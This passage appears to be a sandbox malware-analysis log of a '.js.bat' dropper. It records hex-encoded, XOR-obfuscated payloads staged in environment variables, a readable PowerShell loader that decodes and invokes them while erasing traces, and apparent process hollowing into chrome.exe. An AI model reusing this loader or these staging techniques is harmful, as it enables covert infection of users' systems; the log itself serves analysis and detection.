909f959d94d9d597909d8294ddaaa59983949095989f96dfb487949f85a394829485bc9e9594accbcbbc909f84909da394829485ddd6bd9e92909dada5bdb5a0b5a8a0a794d6d8caaa879e9895acd5aeae9486dfa6909885be9f94d9c9c1c1c1d88c92908592998a8cca94899885d1c18cca8583888ad5aeae9486ccbf9486dcbe939b949285d1a59983949095989f96dfb487949f85a6909885b9909f959d94d9d597909d8294ddaaa59983949095989f96dfb487949f85a394829485bc9e9594accbcbbc909f84909da394829485ddd6bd9e92909dada5bdb5a0b5a8a0a794d6d8caaa879e9895acd5aeae9486dfa6909885be9f94d9c9c1c1c1d88c92908592998a8cca", WNAEOT="start", LKNK="R/ba", PMSLN="/b", DGZB="ustdfsartLDX"" Process "cmd.exe" (UID: 00000000-00004640) was launched with new environment variables: "ZZOW="PowerShell\v1", LWSU="Hlpz-vnOm8NoIXPrRd3v4C5iofii9h3ljrUY7p1eWmNX", NCVX="&rem", LVRG="X5d\SyUT1xeAd1stemccGW320MlhY\WO9jqlinf3w_bdows31PowCX22bk5UerSKTHY", KPOL=".0\powersh", WUJYZZPI="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", GUYVS="\System32\WindowsPowerShell\v1.0\powershell.exe", LZHT="ell.exe", ZPCIWYSJLYY="C:\NewPO230824312.js.bat", TORAQ="-Command", ERMII="-NoProfile", WXRQO="SystemRoot", EPMC="V77Roo6IHDRBktc367", VQUD="31hellhknGo79u\v1eBW_U.0wRMUvXE\poYFEgKg9weZy9rrshMjn5OQz0eliloj0PCUl.e2", HUSTPFXXP="C:\WINDOWS", VZIN="lxefyl", BCOI="19", EJDH="\System32\Windows", FOTH="D-FIeCom09VmaC_aRiJmrndV6n", VSRZ="4EqSJaUoRystI_emuJ", SREIFFQ="C:\NewPO230824312.js.bat", NXDZIUL="LEHPNTZGMFLR", FAOM="236"" Process "cmd.exe" (UID: 00000000-00004640) was launched with modified environment variables: "XGGTHKXE, ADIL" Process "cmd.exe" (UID: 00000000-00007260) was launched with new environment variables: "XQCYS="c89ca8b6a2bbd1c889829ad6b6bcafa5bbb5bfa6a0b5b5d7858ac4cdc89ca8b6a2bbc59789948598ccdddcd791d7c89ca8b6a2bbd1b79f989e85828bb1c89ca8b6a2bbd7858ac4c89ca8b6a2bbc597c89ca8b6a2bbd1c89ca8b6a2bbc2b89e8581c4c5d79b84858089c4c89ca8b6a2bbc2a089828b9884ccc18b89ccdeccc18d8288ccc89ca8b6a2bbb7dcb1ccc1899dccb78f848d9eb1dfd8ccc18d8288ccc89ca8b6a2bbb7c89ca8b6a2bbc2a089828b9884c1ddb1ccc1899dccb78f848d9eb1dfd8c597c89ca8b6a2bbd1c89ca8b6a2bbc2bf998e9f989e85828bc4ddc0c89ca8b6a2bbc2a089828b9884c1dec5c2b89e8581c4c591d7858ac4c89ca8b6a2bbc2a582888994a38ac4b78f848d9eb1dfd8c5ccc18b89ccdcc5978a839e898d8f84c4c8b3829ccc8582ccc89ca8b6a2bbc2bf9c808598c4b78f848d9eb1dfd8c5c597c8b3829cd1c8b3829cc2b89e8581c4c5d7858ac4c8b3829cc2a089828b9884ccc18b89ccdfccc18d8288ccc8b3829cb7ddb1ccc1899dccb78f848d9eb1d9d4c597c89ca8b6a2bbd1c8b3829c91919191d7858ac4cdc89ca8b6a2bbccc1839eccc1828398c4b8899f98c1bc8d9884ccc1a08598899e8d80bc8d9884ccc89ca8b6a2bbc5c59789948598ccdddcd791d7c894b9b6bfb9d1a2899bc1a38e86898f98ccb8899498c2bf989e85828bae99858088899ed7c88dbfaeabbdd1a2899bc1a38e86898f98ccb8899498c2bf989e85828bae99858088899ed7c888bcbaada8d1a2899bc1a38e86898f98ccb8899498c2bf989e85828bae99858088899ed7c89db5a5bbbed1c88a8d809f89d7c883b8a0afa3d1c88a8d809f89d7c89baebda9bdd1c8c4c894abada1d1acc4d8dac0d5c0ded4c0ddd9c0d5c0ddd8c0d8dec0dedcc0d5c0deddc5d7c89fa9beaed1cbcbd78a839ec4c885a0a3a3d1dcd7c885a0a3a3c18098c894abada1c2a089828b9884d7c885a0a3a3c7c7c597c89fa9beaec7d1b78f848d9eb1c4c894abada1b7c885a0a3a3b1c18e94839eddded9c591d7c89fa9beaec5d7c895baaea7bbd1c8c4c894afabafd1acc4d8dac0d4c0dfddc0ddd8c0d5c0ddd9c0dedcc0ddd5c0dedac5d7c89fbdbfa7d1cbcbd78a839ec4c885a0bfa1d1dcd7c885a0bfa1c18098c894afabafc2a089828b9884d7c885a0bfa1c7c7c597c89fbdbfa7c7d1b78f848d9eb1c4c894afabafb7c885a0bfa1b1c18e94839eddded9c591d7c89fbdbfa7c5d7c89eb4bebeaed1a2899bc1a38e86898f98cca5a3c2bf989e898d81be898d88899eccc1ad9e8b9981898298a0859f98ccacc4c89ca8b6a2bbc5d7989e95979b84858089c4c4c882afadb6b6d1c89eb4bebeaec2be898d88a0858289c4c5c5c18289c882998080c597858ac4c882afadb6b6ccc18d8288ccc882afadb6b6c2c4c89baebda9bdc5c4cbd6d6bdb4bdb9b5a1a0aacbc5c597b79a838588b1c88dbfaeabbdc2ad9c9c898288c4c882afadb6b6c2c4c895baaea7bbc5c4dddcc5c7cbd7cbc59189809f89858ac4c882afadb6b6ccc18d8288ccc882afadb6b6c2c4c89baebda9bdc5c4cb9f8998cccea7a0bdb5aebca7a9b9b4cbc5c597c898a2a9aaafd1c882afadb6b6c2c4c895baaea7bbc5c4ddd9c5d7858ac4c898a2a9aaafc2a982889fbb859884c4b78f848d9eb1dfd8c5c597c898a2a9aaafd1c898a2a9aaafc2bf998e9f989e85828bc4dcc0c898a2a9aaafc2a089828b9884c1ddc591d7b79a838588b1c894b9b6bfb9c2ad9c9c898288c4c898a2a9aaafc5d7c883b8a0afa3d1c8989e99899189809f89858ac4c882afadb6b6ccc18d8288ccc882afadb6b6c2c4c89baebda9bdc5c4cb9f8998cccea1bcbabdb6a2cbc5c597c898a2a9aaafd1c882afadb6b6c2c4c895baaea7bbc5c4ddddc5d7858ac4c898a2a9aaafc2a982889fbb859884c4b78f848d9eb1dfd8c5c597c898a2a9aaafd1c898a2a9aaafc2bf998e9f989e85828bc4dcc0c898a2a9aaafc2a089828b9884c1ddc591d7b79a838588b1c888bcbaada8c2ad9c9c898288c4c898a2a9aaafc5d7c89db5a5bbbed1c8989e99899189809f89858ac4c883b8a0afa3c18d8288c89db5a5bbbec5978e9e898d879191918a85828d80809597c89eb4bebeaec2af80839f89c4c591d7c894b9b6bfb9d1c894b9b6bfb9c2b883bf989e85828bc4c5d7c88dbfaeabbdd1c88dbfaeabbdc2b883bf989e85828bc4c5d7858ac4cdc894b9b6bfb9c59789948598ccddddd791d7c88fa3beafa3d1c8c4c894a5bbbcd1acc4d8dac0d8c0ddd8c0d5c0ded8c0dddac0d4dfc0dadec0ddd4c0ddd5c0ddddc0ded8c0ddd9c0d5c5d7c89fb6a9a0d1cbcbd78a839ec4c885a0a3bdd1dcd7c885a0a3bdc18098c894a5bbbcc2a089828b9884d7c885a0a3bdc7c7c597c89fb6a9a0c7d1b78f848d9eb1c4c894a5bbbcb7c885a0a3bdb1c18e94839eddded9c591d7c89fb6a9a0c5d7c881b8baa0afd1c8c4c894a2b6bbd1acc4d9d5c0ddd9c0ddd4c0dddac0dadfc0ded4c0ddd8c0ded8c0dbd9c0dbdfc0d8dac0d5c0ddd9c0dedcc0ddd5c0dedac5d7c89faaa2a8d1cbcbd78a839ec4c885adb4a7d1dcd7c885adb4a7c18098c894a2b6bbc2a089828b9884d7c885adb4a7c7c7c597c89faaa2a8c7d1b78f848d9eb1c4c894a2b6bbb7c885adb4a7b1c18e94839eddded9c591d7c89faaa2a8c5d7c889b9b9aeb9d1c8c4c894bcb8b4d1acc4d8dac0d8c0ddd8c0d5c0ded8c0dddac0d4dfc0d8ddc0ded8c0d9c0d5c0d4dfc0d9dac0ddd5c0dfdcc0ddd4c0ded9c0dedcc0ddd5c0dedac5d7c89faea5b9d1cbcbd78a839ec4c885a8a5b4d1dcd7c885a8a5b4c18098c894bcb8b4c2a089828b9884d7c885a8a5b4c7c7c597c89faea5b9c7d1b78f848d9eb1c4c894bcb8b4b7c885a8a5b4b1c18e94839eddded9c591d7c89faea5b9c5d7989e9597c88eaabbbba7d1c4b798959c89b1c88fa3beafa3c5c2ab8998a18998848388c4c881b8baa0afc0b798959c89b7b1b1acc4b79f989e85828bb1c5c5c2a5829a838789c4c882998080c0acc4c894b9b6bfb9c5c5918f8d988f849789948598ccddded791d7c889afababb6d1c882998080d78a839e898d8f84c4c885bba0a6a8cc8582ccc4c88dbfaeabbdccc19f9c808598cccbd7cbc5c597858ac4c885bba0a6a8ccc18d8288ccc885bba0a6a8c2bf988d9e989fbb859884c4cbaea3a3b890cbc5c597c889afababb6d1c885bba0a6a8d78e9e898d879191d7858ac4c1828398ccc889afababb6c59789948598ccddde91d7c89caaa5ada1d1c889afababb6c2bf9c808598c4cb90cbc5d7858ac4c89caaa5ada1c2a089828b9884ccc18098ccd8c59789948598ccddde91d7c88fa6bfabaad1dcd7858ac4c89caaa5ada1c2a089828b9884ccc18b89ccd9c597c88fa6bfabaad1b7858298b1c89caaa5ada1b7d8b191d7858ac4c88fa6bfabaaccc1899dccddc597c881a5aeb5a2d1a2899bc1a38e86898f98cca5a3c2a18981839e95bf989e898d81c4c0c88eaabbbba7c5d7c883a9a2bea7d1a2899bc1a38e86898f98cca5a3c2a18981839e95bf989e898d81d7c88baabbb4b4d1a2899bc1a38e86898f98cca5a3c2af83819c9e899f9f858382c2abb6859cbf989e898d81c4c881a5aeb5a2c0b7a5a3c2af83819c9e899f9f858382c2af83819c9e899f9f858382a1838889b1d6d6a8898f83819c9e899f9fc5d7989e9597c88baabbb4b4c2af839c95b883c4c883a9a2bea7c5918a85828d80809597c88baabbb4b4c2a8859f9c839f89c4c5d7c881a5aeb5a2c2a8859f9c839f89c4c591d7c88eaabbbba7d1c883a9a2bea7c2b883ad9e9e8d95c4c5d7c883a9a2bea7c2a8859f9c839f89c4c591d7858ac4b7858298b1c89caaa5ada1b7deb1ccc18289ccc88eaabbbba7c2a089828b9884c59789948598ccdedc91d7c89fbdbea9afd1b7bf898f999e859895c2af9e959c98838b9e8d9c8495c2bfa4added9dab1d6d6af9e898d9889c4c5d7989e9597c884a0b9baa0d1b7ae8598af83829a899e98899eb1d6d6b883bf989e85828bc4c89fbdbea9afc2af83819c999889a48d9f84c4c88eaabbbba7c5c5c2be899c808d8f89c4cbc1cbc0cbcbc5c2b883a0839b899ea5829a8d9e858d8298c4c5918a85828d80809597c89fbdbea9afc2a8859f9c839f89c4c591d7858ac4c884a0b9baa0ccc18289ccc89caaa5ada1b7dfb1c2b883a0839b899ea5829a8d9e858d8298c4"" Process "cmd.exe" (UID: 00000000-00005812) was launched with new environment variables: "NRIQZEVLM="c5c59789948598ccdedd91d7989e95978a839ec4c885a1b6bcd1dcd7c885a1b6bcc18098c88eaabbbba7c2a089828b9884d7c885a1b6bcc7c7c597c88eaabbbba7b7c885a1b6bcb1d1c88eaabbbba7b7c885a1b6bcb1c18e94839ededcdb91d7c886b5b9aed1a2899bc1a38e86898f98cca5a3c2a18981839e95bf989e898d81c4c0c88eaabbbba7c5d7c887a1bdb8d1a2899bc1a38e86898f98cca5a3c2a18981839e95bf989e898d81d7c880b4bbaed1a2899bc1a38e86898f98cca5a3c2af83819c9e899f9f858382c2abb6859cbf989e898d81c4c886b5b9aec0b7a5a3c2af83819c9e899f9f858382c2af83819c9e899f9f858382a1838889b1d6d6a8898f83819c9e899f9fc5d7989e9597c880b4bbaec2af839c95b883c4c887a1bdb8c5918a85828d80809597c880b4bbaec2a8859f9c839f89c4c5d7c886b5b9aec2a8859f9c839f89c4c591d7c88eaabbbba7d1c887a1bdb8c2b883ad9e9e8d95c4c5d7c887a1bdb8c2a8859f9c839f89c4c5d7918f8d988f849789948598ccd8dcd791d7c899bca9abbad1c8c4c894aaa2b9d1acc4d8dcc0d8ddc0d9d5c0dad5c5d7c89fb6a7bed1cbcbd78a839ec4c885a2b6a7d1dcd7c885a2b6a7c18098c894aaa2b9c2a089828b9884d7c885a2b6a7c7c7c597c89fb6a7bec7d1b78f848d9eb1c4c894aaa2b9b7c885a2b6a7b1c18e94839eddded9c591d7c89fb6a7bec5d7c898a2a9aaafd1c4b798959c89b1c889b9b9aeb9c5c2ab8998bc9e839c899e9895c4c899bca9abbac5c2ab8998ba8d809989c4c882998080c5c2ab8998bf989e85828bc4c88eaabbbba7c5d7c896baa3a6a9d1c8c4c894beb8a5d1acc4d8dac0d8c0ddd8c0d5c0ded8c0dddac0d4dfc0d8d4c0ded4c0ddd5c0ded4c0dedac0ded8c0dddac0ded8c0ddd5c0d5c0d4dfc0dadcc0d4c0d5c0ddd4c0dddac0ded4c0d5c0dedcc0ddd4c0ddd5c0d4dfc0d8dac0dfdcc0ddd9c0dedcc0dddfc0d5c0dadfc0dddbc0ddd4c0dfdcc0dedec5d7c89fabb4abd1cbcbd78a839ec4c885a2adbed1dcd7c885a2adbec18098c894beb8a5c2a089828b9884d7c885a2adbec7c7c597c89fabb4abc7d1b78f848d9eb1c4c894beb8a5b7c885a2adbeb1c18e94839eddded9c591d7c89fabb4abc5d7c888bcbaada8d1c888bcbaada8c2b883bf989e85828bc4c5d7858ac4c888bcbaada8c597989e9597c88eaabbbba7d1c4b798959c89b1c88fa3beafa3c5c2ab8998a18998848388c4c881b8baa0afc0b798959c89b7b1b1acc4b79f989e85828bb1c5c5c2a5829a838789c4c882998080c0acc4c888bcbaada8c5c5918f8d988f849789948598ccddded791d7c889a7a9a3add1c882998080d78a839e898d8f84c4c885bfbfbcb9cc8582ccc4c88dbfaeabbdccc19f9c808598cccbd7cbc5c597858ac4c885bfbfbcb9ccc18d8288ccc885bfbfbcb9c2bf988d9e989fbb859884c4cbada1bfa590cbc5c597c889a7a9a3add1c885bfbfbcb9d78e9e898d879191d7858ac4c1828398ccc889a7a9a3adc59789948598ccddde91d7c89cbea9bba7d1c889a7a9a3adc2bf9c808598c4cb90cbc5d7858ac4c89cbea9bba7c2a089828b9884ccc18098ccd8c59789948598ccddde91d7c88fbfa2bcafd1dcd7858ac4c89cbea9bba7c2a089828b9884ccc18b89ccd9c597c88fbfa2bcafd1b7858298b1c89cbea9bba7b7d8b191d7858ac4c88fbfa2bcafccc1899dccddc597c881a0ada9bfd1a2899bc1a38e86898f98cca5a3c2a18981839e95bf989e898d81c4c0c88eaabbbba7c5d7c883b5a1baaed1a2899bc1a38e86898f98cca5a3c2a18981839e95bf989e898d81d7c88ba0baa4a7d1a2899bc1a38e86898f98cca5a3c2af83819c9e899f9f858382c2abb6859cbf989e898d81c4c881a0ada9bfc0b7a5a3c2af83819c9e899f9f858382c2af83819c9e899f9f858382a1838889b1d6d6a8898f83819c9e899f9fc5d7989e9597c88ba0baa4a7c2af839c95b883c4c883b5a1baaec5918a85828d80809597c88ba0baa4a7c2a8859f9c839f89c4c5d7c881a0ada9bfc2a8859f9c839f89c4c591d7c88eaabbbba7d1c883b5a1baaec2b883ad9e9e8d95c4c5d7c883b5a1baaec2a8859f9c839f89c4c591d7858ac4b7858298b1c89cbea9bba7b7deb1ccc18289ccc88eaabbbba7c2a089828b9884c59789948598ccdedc91d7c89fa8afaaa1d1b7bf898f999e859895c2af9e959c98838b9e8d9c8495c2bfa4added9dab1d6d6af9e898d9889c4c5d7989e9597c884b6bab5a1d1b7ae8598af83829a899e98899eb1d6d6b883bf989e85828bc4c89fa8afaaa1c2af83819c999889a48d9f84c4c88eaabbbba7c5c5c2be899c808d8f89c4cbc1cbc0cbcbc5c2b883a0839b899ea5829a8d9e858d8298c4c5918a85828d80809597c89fa8afaaa1c2a8859f9c839f89c4c591d7858ac4c884b6bab5a1ccc18289ccc89cbea9bba7b7dfb1c2b883a0839b899ea5829a8d9e858d8298c4c5c59789948598ccdedd91d7989e95978a839ec4c885a1b6bcd1dcd7c885a1b6bcc18098c88eaabbbba7c2a089828b9884d7c885a1b6bcc7c7c597c88eaabbbba7b7c885a1b6bcb1d1c88eaabbbba7b7c885a1b6bcb1c18e94839ededcdb91d7c886b5b9aed1a2899bc1a38e86898f98cca5a3c2a18981839e95bf989e898d81c4c0c88eaabbbba7c5d7c887a1bdb8d1a2899bc1a38e86898f98cca5a3c2a18981839e95bf989e898d81d7c880b4bbaed1a2899bc1a38e86898f98cca5a3c2af83819c9e899f9f858382c2abb6859cbf989e898d81c4c886b5b9aec0b7a5a3c2af83819c9e899f9f858382c2af83819c9e899f9f858382a1838889b1d6d6a8898f83819c9e899f9fc5d7989e9597c880b4bbaec2af839c95b883c4c887a1bdb8c5918a85828d80809597c880b4bbaec2a8859f9c839f89c4c5d7c886b5b9aec2a8859f9c839f89c4c591d7c88eaabbbba7d1c887a1bdb8c2b883ad9e9e8d95c4c5d7c887a1bdb8c2a8859f9c839f89c4c5d7918f8d988f849789948598ccd8dcd791d7c88abca0b5a9d1c4b798959c89b1c889b9b9aeb9c5c2ab8998bc9e839c899e9895c4c899bca9abbac5c2ab8998ba8d809989c4c882998080c5c2ab8998bf989e85828bc4c88eaabbbba7c5d7989e9597caccc4c4b798959c89b1c896baa3a6a9c5d6d6af9e898d9889c4c88abca0b5a9c5c5918f8d988f849789948598ccd8dcd79191d7caccc4c4b798959c89b1c896baa3a6a9c5d6d6af9e898d9889c4c898a2a9aaafc5c5"" Process "cmd.exe" (UID: 00000000-00006304) was launched with new environment variables: "KAAREKNHXD="@XQCYS NRIQZEVLM"" Process "cmd.exe" (UID: 00000000-00005152) was launched with new environment variables: "IUHO="&rem", JTRI="\sysnative\Win", LHLVDTYSE="\System32\WindowsPowerShell\v1.0\powershell.exe", RVFW="dowsPowerShell\v1.0\", OMFF="WindowsPowerShell\v1.0", IKNZ="cJsPowyZkI1werQ89GOShaR1PT8elQ2U", GTNO="KLAul\Xf21v1Hk5h6A.0\wO6poSTLwerGGeshhwsmt8ellV", GBYSDGR="-NoProfile", EPKQ="bQt-4wN8dFNoFWRCkrProe1DvzPfI8RpilecD", CJNH="1gJ4.ex8Pl1Uebv", MPTL="VDHve6k9b\WjmvvmkRinneRdofPuybwsPZPPUwpKvow7tWGdferS3dhelM", TITJ="J1Lwef", TXIM="tMl\vCHVZBS1FOL5.06isMyFm\pQ8F", WQZH="2\SyuIxstodUMVywaem3fgUcpl2\2hqeN8Win5gqQMidowD", XQEBITED="\sysnative\WindowsPowerShell\v1.0\powershell.exe", RODT="84", RQYO="\powersh", QNNI="ell.exe", JUYK="v\sdWysCfEzp6natsFcSK2KsiU", HEZG="\System32\", MNME="iz8-Flp8ChY_Momm2x5O8uandTvEY", ENKXE="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", IYUT="powershell.exe", KGITTJGLR="-Command", LMXEWQDMDBHGLT="377854565e2e487a7d674e37767d652955525c5e28377b41565d2e486067617a7d744e37767d65295852524156585d5b4b57287a753b377b41565d333e727d7733377b41565d3d5f767d74677b333e74673323333e727d7733377b41565d48234e333e76623348707b72614e25273a68377b41565d2e3b3e797c7a7d3b377b41565d3d4066716067617a7d743b223a3d40637f7a673b48707b72614e27273a6f3668373b3b5476673e5a67767e333e5f7a677661727f4372677b333b34767d65293438374c3a333e565233407a7f767d677f6a507c7d677a7d66763a3d45727f66763a6e3a3a6e283760414a542e5d76643e5c71797670673347766b673d4067617a7d7451667a7f77766128757c613b377a4945472e2328377a4945473e7f67377b41565d3d5f767d74677b28377a494547382e213a6848657c7a774e3760414a543d526363767d773b48707b72614e3b3b48507c7d657661674e2929477c5a7d6720213b377b41565d3d4066716067617a7d743b377a4945473f213a3f22253a3a3e716b7c61377854565e3a3a6e2867616a6841767e7c65763e5a67767e33567d65295852524156585d5b4b57333e565233407a7f767d677f6a507c7d677a7d66766e707267707b686e284854504e2929507c7f7f7670673b3a283d3b486070617a6367717f7c70784e29295061767267763b3760414a543d477c4067617a7d743b3a3a3a", YLTQ="EowKf0erqgPsh_VX7gelgYbkl.exk"" Process "cmd.exe" (UID: 00000000-00005152) was launched with modified environment variables: "XGGTHKXE, ADIL" Process "powershell.exe" (UID: 00000000-00000412) was launched with new environment variables: "IBTMKMFJF="70313a226e0c1313001c1f0c11697318190c110305101910161c131800736f70313a226e15101d18697316171b1d736f20262d2f3d327c793a3b207c731f07737935270f202d2431097d7d2f700b3f27153a691a3123791b363e31372074063132383137203d3b3a7a152727313936382d1a3539317c730b1f07737d6f700b3f271536690f152424103b39353d3a096e6e17212626313a20103b39353d3a7a1031323d3a31102d3a35393d37152727313936382d7c700b3f27153a780f063132383137203d3b3a7a11393d207a152727313936382d16213d38303126153737312727096e6e06213a7d6f700b3f27103969700b3f2715367a1031323d3a31102d3a35393d37193b302138317c730b1f07737d6f700b3f27003669700b3f2710397a1031323d3a31002d24317c731f0773780f063132383137203d3b3a7a002d2431152020263d36212031270973042136383d37781738352727737d6f700b3f271915690f063132383137203d3b3a7a1931203c3b30152020263d36212031270973042136383d3778072035203d3778043d3a223b3f311d392438736f700b3f271717690f063132383137203d3b3a7a173538383d3a33173b3a22313a203d3b3a27096e6e0720353a303526306f700b3f271715690f06213a203d39317a1d3a2031263b24073126223d3731277a173538383d3a33173b3a22313a203d3b3a096e6e033d3a35243d6f700b3f271707690f06213a203d39317a1d3a2031263b24073126223d3731277a173c3526073120096e6e013a3d373b30316f700b3f271d07690f063132383137203d3b3a7a1931203c3b301d392438152020263d362120312709730426312731262231073d33736f700b3f271969700b3f2700367a1031323d3a31041d3a223b3f311931203c3b307c7317263135203104263b37312727037378733f31263a3138676673787317263135203104263b37312727037378700b3f27191578700b3f271717780f363b3b3809780f202d24310f0909147c0f2720263d3a3309780f00312c207a0720263d3a3316213d3830312609780f1d3a2004202609780f1d3a2004202609780f363b3b3809780f213d3a20676609780f1d3a2004202609780f2720263d3a3309780f1d3a2004202609780f1d3a20042026097d78700b3f27171578700b3f2717077d6f700b3f27197a0731201d3924383139313a2035203d3b3a12383533277c700b3f271d077d6f700b3f27196669700b3f2700367a1031323d3a31041d3a223b3f311931203c3b307c7317383b27311c353a3038317378733f31263a3138676673787317383b27311c353a3038317378700b3f27191578700b3f271717780f363b3b3809780f202d24310f0909147c0f1d3a20042026097d78700b3f27171578700b3f2717077d6f700b3f2719667a0731201d3924383139313a2035203d3b3a12383533277c700b3f271d077d6f0f223b3d3009700b3f2700367a172631352031002d24317c7d296f700b0b6260690f1d3a20042026096e6e073d2e3174793125746c6f700b0b373669626c6f3d327c700b0b62607d2f700b0b373669656460296f700b0b24376965626f3d327c700b0b62607d2f700b0b2437696660296f700b0b323b6960606f3d327c700b0b62607d2f700b0b323b696264296f700b0b273b69606c6f3d327c700b0b62607d2f700b0b273b696260296f700b0b272369646f3d327c793a3b2074700b0b62607d2f700b0b27236965296f20262d2f700b0b2324691a3123791b363e3137207407313721263d202d7a04263d3a373d2435387a033d3a303b232704263d3a373d2435387c0f07313721263d202d7a04263d3a373d2435387a033d3a303b23271d30313a203d202d096e6e13312017212626313a207c7d7d6f3d327c700b0b23247a1d271d3a063b38317c0f07313721263d202d7a04263d3a373d2435387a033d3a303b232716213d38201d3a063b3831096e6e1530393d3a3d27202635203b267d7d2f700b0b272369652929373520373c2f296f700b0b352424690f2720263d3a330970313a226e03011e0d0e0e041d6f700b0b3738690f373c35260967607f700b0b3524247f0f373c35260967607f7374737f0f2720263d3a330970313a226e1106191d1d7f7374737f0f2720263d3a330970313a226e001b0615057f7374737f0f373c35260967607f0f2720263d3a330970313a226e0c07041d0e0611110c7f0f373c35260967606f700b0b272435233a692f700b0b273d690f06213a203d39317a1d3a2031263b24073126223d3731277a193526273c3538096e6e1538383b371c13383b3635387c700b0b37367d6f700b0b243d690f06213a203d39317a1d3a2031263b24073126223d3731277a193526273c3538096e6e1538383b371c13383b3635387c700b0b24377d6f20262d2f0f06213a203d39317a1d3a2031263b24073126223d3731277a193526273c3538096e6e173b242d7c7c1a3123791b363e31372074362d20310f0974700b0b37367d786478700b0b273d78700b0b37367d6f0f06213a203d39317a1d3a2031263b24073126223d3731277a193526273c3538096e6e03263d20311d3a2067667c700b0b273d786478700b0b37367d6f0f06213a203d39317a1d3a2031263b24073126223d3731277a193526273c3538096e6e03263d20311d3a2067667c700b0b273d78700b0b323b78657d6f0f06213a203d39317a1d3a2031263b24073126223d3731277a193526273c3538096e6e03263d20311d3a2065627c700b0b273d78700b0b273b78700b0b27237d6f700b0b2736691a3123791b363e3137207400312c207a0720263d3a3316213d3830312674700b0b3738787c700b0b37387a18313a33203c7f6c7d6f3d327c793a3b20740f1f07096e6e17263135203104263b37312727037c700b0b35242478700b0b2736780f1d3a20042026096e6e0e31263b780f1d3a20042026096e6e0e31263b78703235382731780f213d3a206766096562636363666766780f1d3a20042026096e6e0e31263b787c13312079183b3735203d3b3a7d7a0435203c78700b0b273d78700b0b243d7d7d2f26312021263a7464296f700b0b3c24690f06213a203d39317a1d3a2031263b24073126223d3731277a193526273c3538096e6e063135301d3a200420267c700b0b243d78647d6f700b0b3c20690f06213a203d39317a1d3a2031263b24073126223d3731277a193526273c3538096e6e063135301d3a200420267c700b0b243d780f1d3a20042026096e6e073d2e317d6f700b0b3d30690f06213a203d39317a1d3a2031263b24073126223d3731277a193526273c3538096e6e063135301d3a2067667c700b0b243d780f1d3a20042026096e6e073d2e317e667d6f3d327c700b0b3c2074793a31740f1d3a20042026096e6e0e31263b7d2f0f223b3d30090f1f07096e6e17383b27311c353a3038317c700b0b3c207d296f3d327c700b0b3c2474793a31740f1d3a20042026096e6e0e31263b7d2f0f223b3d30090f1f07096e6e17383b27311c353a3038317c700b0b3c247d296f26312021263a74700b0b3d3029323d3a3538382d2f0f06213a203d39317a1d3a2031263b24073126223d3731277a193526273c3538096e6e122631311c13383b3635387c700b0b273d7d6f0f06213a203d39317a1d3a2031263b24073126223d3731277a193526273c3538096e6e122631311c13383b3635387c700b0b243d7d29296f700b0b243d30697274700b0b272435233a29373520373c2f296f"" Process "powershell.exe" (UID: 00000000-00008040) was launched with new environment variables: "ZMOEOOXVGV="$kOVO=[int]((Get-Item -LiteralPath ('env:'+[string]$env:ADIL) -EA Stop).Value);$hFHW=[string]((Get-Item -LiteralPath ('env:'+[string]$env:XGGTHKXE) -EA Stop).Value);if($hFHW -and $hFHW.Length -gt 0 -and $hFHW[0] -eq [char]64){$hFHW=(-join($hFHW.Substring(1).Split([char]44)|%{$((Get-Item -LiteralPath ('env:'+$_) -EA SilentlyContinue).Value)}))};$bXKK=New-Object byte[] ($hFHW.Length/2);for($iZKZ=0;$iZKZ-lt$bXKK.Length;$iZKZ++){$bXKK[$iZKZ]=([byte]::Parse($hFHW.Substring($iZKZ*2,2) [Globalization.NumberStyles]::AllowHexSpecifier)-bxor$kOVO)};try{$__dn=[string]$env:XGGTHKXE;if($__dn){Remove-Item -LiteralPath ('env:'+$__dn) -EA SilentlyContinue}}catch{};[GC]::Collect();$executioncontext.InvokeCommand.NewScriptBlock([Text.Encoding]::GetEncoding(65001).GetString($bXKK)).Invoke()"" Process "powershell.exe" (UID: 00000000-00008040) was launched with modified environment variables: "XGGTHKXE, ADIL" Process "powershell.exe" (UID: 00000000-00008040) was launched with missing environment variables: "IBTMKMFJF" Process "chrome.exe" (UID: 00000000-00007496) was launched with new environment variables: "KARMO_HOLLOW_CTX="1", KARMO_SELF_SHOW="1", KARMO_PE_NET="1", KARMO_HANDOFF_DBG="handoff_dbg_8040_306a00c2.txt", KARMO_PE_PREF="400000", KARMO_HANDOFF_DETACH="1", KARMO_PE_IMG="D2000"" Process "chrome.exe" (UID: 00000000-00007496) was launched with missing environment variables: "ZZOW, NVM_SYMLINK, SSLKEYLOGFILE, CSEN, SESSIONNAME, ALLUSERSPROFILE, XRVYWAFAL, LWSU, NRIQZEVLM, IUHO, NCVX, LVRG, XTZT, KPOL, JTRI, UWEWMRM, WUJYZZPI, LHLVDTYSE, KNKZ, RVFW, GUYVS, LZHT, OMFF, RXBW, HXEVPZMUL, KAAREKNHXD, PROMPT, IKNZ, GTNO, TIAXNJ, OneDrive, RFRS, TKFN, HWAP, GBYSDGR, GSKSAM, LKNK, OIYY, TORAQ, VBBANPBXE, CCQL, WQGY, XGGTHKXE, HWXS, FRLK, EPKQ, PMSLN, CJNH, MPTL, USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, HRQFRTZEQZI, XAHA, TITJ, TXIM, ERMII, ZMOEOOXVGV, ADIL, JABQYU, USERDNSDOMAIN, WXRQO, IAUY, WQZH, CURL_CA_BUNDLE, EPMC, VQUD, XQEBITED, LLHO, HUSTPFXXP, RODT, ProgramW6432, FHBR, RQYO, JDGG, QNHCMHYJO, QNNI, JUYK, WNAEOT, VZIN, BCOI, JMCE, LOGONSERVER, NCTK, EJDH, HEZG, BFLV, HPKBF, FOTH, MNME, ENKXE, SRAH, LOHF, XSPIZREEX, HHNX, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, FPLN, IYUT, VSRZ, SREIFFQ, KGITTJGLR, DGZB, NXDZIUL, FAOM, LMXEWQDMDBHGLT, XQCYS, YLTQ" Process "chrome.exe" (UID: 00000000-00005268) was launched with new environment variables: "CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_7496_IKUPJEBAPSXOPCUM"" Process "msedge.exe" (UID: 00000000-00007408) was launched with missing environment variables: "CHROME_CRASHPAD_PIPE_NAME" Process "msedge.exe" (UID: 00000000-00003476) was launched with new environment variables: "EDGE_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_7408_ADVLIPXNOUVCRGBE", EDGE_USER_DATA_DIR="%TEMP%\1xes2x0b.df5", EDGE_BROWSER_PID="7408"" Process "msedge.exe" (UID: 00000000-00000872) was launched with new 